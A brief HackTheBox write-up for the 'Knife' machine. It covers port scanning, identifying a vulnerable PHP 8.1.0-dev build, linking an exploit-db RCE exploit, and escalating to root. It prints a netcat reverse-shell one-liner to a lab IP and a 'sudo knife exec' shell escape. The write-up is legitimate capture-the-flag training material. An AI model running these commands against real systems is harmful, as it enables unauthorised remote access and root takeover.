Knife HackTheBox Writeup

Scanning

We run nmap on all ports with scripts and software versions.

Enumeration

We use curl tool and we headers enumerate, we view “PHP/8.1.0-dev”, this version have a exploit for RCE (Remote Code Execute).

Exploitation

We search exploit in “exploit-db.com”, we download the exploit and execute:

Exploit: https://www.exploit-db.com/raw/49933

We read user.txt file:

Privilege Escalation

We open a netcat in another terminal and make it interactive with python and a couple of exports.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 443 >/tmp/f

In addition, we can see that by executing “sudo -l”, we have access to the “knife” binary as SUDO.

We Google and found a way to exploit this misconfiguration to gain root access.

sudo knife exec -E 'exec "/bin/sh"'

We execute the statement, become root and read the file “root.txt”.